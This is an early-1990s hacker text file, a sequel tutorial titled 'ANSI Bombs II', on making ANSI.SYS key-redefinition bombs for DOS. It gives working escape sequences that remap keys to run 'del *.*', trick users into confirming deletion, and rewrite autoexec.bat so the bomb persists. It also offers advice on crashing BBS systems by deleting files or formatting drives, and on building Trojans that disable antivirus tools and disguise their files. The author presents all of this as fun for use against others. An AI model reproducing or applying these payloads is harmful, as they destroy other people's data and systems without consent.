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- ANSI Bombs II: Tips and Techniques
-
- By
-
- The Raging Golem
-
-
- I. Introduction
-
- After writing the last file, a lot of people let me know about the
- mistakes I had made. I guess this file is to clear up those miscon
- ceptions and to let people know about some of the little tricks behind
- ANSI bombing. Of course, ANSI bombing isn't as dangerous as a lot of
- people make it out to be, but bombs are still fun to make and with a
- little planning deliver some degree of success. ANSI bombing can
- be dangerous, so I am tired of hearing people say that an ANSI bomb is
- harmless, another misconception I hope to clear up. Now, most people
- that have spent time experimenting with ANSI bombs probably know most
- of the material in this file, but it might be fun just to read anyway.
-
- 2. Misconceptions
-
- In my last file, I made three major blunders, or what I would con
- sider to be major blunders. First, I said that ANSI bombs could be
- used on BBSs to screw people over, but I guess I was wrong. It was
- pure speculation on what other people had said that made me say that.
- ANSI codes, including those that redefine keys, are sent over the
- lines, but most comm programs don't use ANSI.SYS; they use their own
- version of ANSI, which doesn't support key redefinition. Some people
- might have a program that supports it, but I haven't seen it yet. I
- have tested bombs on systems on my own and proved to myself that they
- don't work. I have also seen people fuck up bombs that would have
- worked by uploading them in a message. The second misconception is
- that ANSI bombs are dangerous when put into zips. I haven't really
- tested this out much, but from what I hear with the newer versions of
- PKZIP, you have to specify that you want to see ANSI comments when
- unzipping. It is unlikely that you would waste your time unzipping
- something again after seeing "Format C:" in the middle of an escape
- code. I could be mistaken, but I'm pretty sure that I'm right. Third,
- the last thing that was a misconception is that VANSI.SYS will protect
- your system from key redefinition. Maybe the newer versions don't
- support key redefinition, but mine sure as hell does. There are pro
- grams out there that don't support it, but I don't know any of the
- names. Of course, if I were you, I would be wary about using some
- thing other then ANSI. I have a few friends that are working on "A
- Better ANSI" for PDers, which, instead of being better, really screws
- them over.
-
- 3. An Overview
-
- Now, in case you haven't read my other file (it's called ANSI.DOC,
- kind of lame but fairly informative), I'll briefly go over the struc
- ture of an ANSI bomb. Skip this part if you know what an ANSI bomb is
- and how to make one.
- In ANSI everything is done with a system of escape codes. Key
- redefinition is one of those codes. (From now, whenever I say ESC, I
- really mean the arrow, ). Here is a basic command:
- ESC [13;27p
- This would make the <Enter> key (13 is the code for enter) turn
- into the <Escape> key (27 is the code for escape). The always has to
- be there, as do the bracket and the "p", but what is between the
- bracket and the "p" is up to you. The first number is always the key
- that you want to be redefined. If there is a zero for the first num
- ber, that means the key is in the extended set, and therefore, the
- first two numbers are the code. The bracket signifies the beginning
- of the definition, and the "p" signifies the end. Whenever you want a
- key pressed, you have to use it's numerical code (i.e. 13 is the code
- for <Enter>). You can't redefine strings, but you can redefine a key
- to become a string (i.e. ESC [13;"Blah"p would make <Enter> say
- "Blah"). Strings must be inside of quotes, which includes commands
- that you want typed on the DOS prompt (i.e. ESC [13;"Del *.*";13p
- would delete everything in the directory, note that 13 stands for
- Enter in this case, not the redefinition). An escape code can have
- as many commands as you want in it, but each one has to be separated
- by a semi-colon. You can only redefine one key in each escape code,
- so if you want to redefine another key, you have to start another
- escape code. That's about it when it comes to bombs, now that you
- have the basics, all you really need is a little imagination.
-
- 4. Tips and Tricks
-
- A. The Y/N Redefinition
-
- Now, here's a simple but fun little ANSI bomb:
-
- ESC [78;89;13p ESC [110;121;13p
-
- Basically, all this does is turn a capital "N" into "Y" and a
- lower-case "n" into "y". Alone this doesn't do too much, except for
- screw around with what they are typing. On the other hand, try adding
- this line of code to the ANSI bomb:
-
- ESC [13;27;13;"del *.*";13p
-
- Most people would automatically press "N" when they see "Del *.*",
- but when they do, they will be screwed over. This portion of a bomb
- is very useful when it comes to making good bombs.
-
- B. Screwing with the Autoexec.bat
-
- Here is another line of code that you may find useful in future
- bombing projects:
-
- ESC [13;27;13;"copy bomb.ans c:\";13;"copy con
- c:\autoexec.bat";13;"type bomb.ans";13;0;109;
- 13;"cls";13p
-
- This line of code makes the bomb a little more permanent and a
- little more dangerous. It copies the bomb into the root directory,
- then it change/creates the autoexec.bat, so the bomb is typed after
- every boot-up. Of course, the person could just boot off a disk, but
- I'm sure this would get them a few time. It could also probably
- appear as though it were a virus, scaring the shit out of the owner of
- the computer.
-
- C. Turning Commands into Other Commands
-
- One of the best pranks to do to someone using an ANSI bomb is to
- redefine commands. That way if they type in "copy", it will turn into
- "Del *.*". Since you can't actually change the whole string, you have
- to take a different approach. You have to change a few of the keys,
- so when typed, they type and execute the desired command. I guess it
- would be coolest to have to command exactly the same length; that way
- you could redefine one key at a time to obtain the desired effect.
- It doesn't really matter how you do it, just as long as it works. You
- might make an ANSI that says "Wow, check out what this bomb did to
- your directory", and then have it redefine the keys, so when they type
- in "dir", it turns into "del". I think you get the idea.
-
- D. Trojans
-
- By now, everybody knows what a Trojan is. You probably wouldn't
- think so, but ANSI bombs can be used as Trojans and in Trojans. First,
- if you are planning on crashing a board, but you're not very good at
- programming, then make yourself an ANSI bomb. Try to find out in
- which directory the main files for running the BBS are stored. They
- are usually under the name BBS or the name of the software, like WWIV
- or Telegard. Then, make a bomb that either just deletes all the files
- in that directory, or if you want the board to be down a longer time,
- then make one that formats the Hard Drive. In this form ANSI bombs,
- if they are well planned out, can be easy to make Trojans. Second,
- ANSI bombs can used in Trojans. This is probably stretching it a
- little, but say you wanted to write a Trojan that would delete a
- directory, every time you typed a certain key, then you could use an
- ANSI bomb. First make some batch and com/exe files that would search
- for protecting programs like Norton and turn them off. Then you could
- copy the file into the root directory, along with your versions of
- autoexec.bat, config.sys, ANSI.sys, and whatever else. (To make it
- look more realistic make the files Resource.00x to trick the user,
- then when copying, use the real name). Then somehow lock the computer
- up or do a warm boot through some pd program, which is easily attain
- able. When the computer loads back up, you can screw that shit out of
- them with your ANSI bomb.
-
- 5. Conclusion
- It would seem to some people that ANSI bombs are very dangerous,
- and to others that they are stupid or lame. Personally, I think that
- ANSI bombs are just plain old fun. They're not too hard to make, but
- there is a lot that you can do with them. They are nowhere near as
- malicious as virii, so if you're looking for unstoppable destruction,
- look elsewhere, but they do serve their purpose. I know that there
- are programs out there that help you program ANSI bombs, but I think
- that they kind of take the fun out of them. Probably, some day soon,
- I'll quit making ANSI bombs and start looking more into virii and pure
- Trojans. But for now, ANSI bombs suit my purpose.
-
- -TRG
-
- Appendix A: Key Code Program
-
- Here is a small program, which I find very helpful. After loading
- it up, it tells you the numeric code for every key you type in. Spe
- cial means that it is in the extended set and therefore uses zero, and
- "q" ends the program. Unfortunately, I can't take any credit for
- this program. I got it over the phone from Heavymetl, and it was made
- by his brother. So many thanks go out to Heavymetl and his brother,
- even though they'll probably be a little pissed at me for including
- this in my file. It is in Pascal and can be compiled in most Turbo
- Pascal compilers.
-
- Use CRT;
- Var
- CH : CHAR;
- Begin
- Repeat
- CH := ReadKey;
- If CH = #0 then
- Begin
- CH := ReadKey;
- WriteLn(CH,'(Special) - ',ORD(CH));
- End
- Else
- WriteLn(CH,' - ',ORD(CH));
- Until
- CH = 'q';
- End.
-
- Thanks go out to:
-
- Heavymetl and his brother for the program and ideas. Weapons
- Master for the input and the help he has given me. Everybody else who
- has helped me out; you know who you are, or at least, you think you
- know who you are. Most of all, to those brave soldiers risking their
- asses everyday for us half-way across the world in Saudi Arabia. Your
- deeds haven't gone unnoticed, of course that's mainly because that's
- all the news ever shows nowadays. Also, to anybody else I might have
- forgotten. Thanks.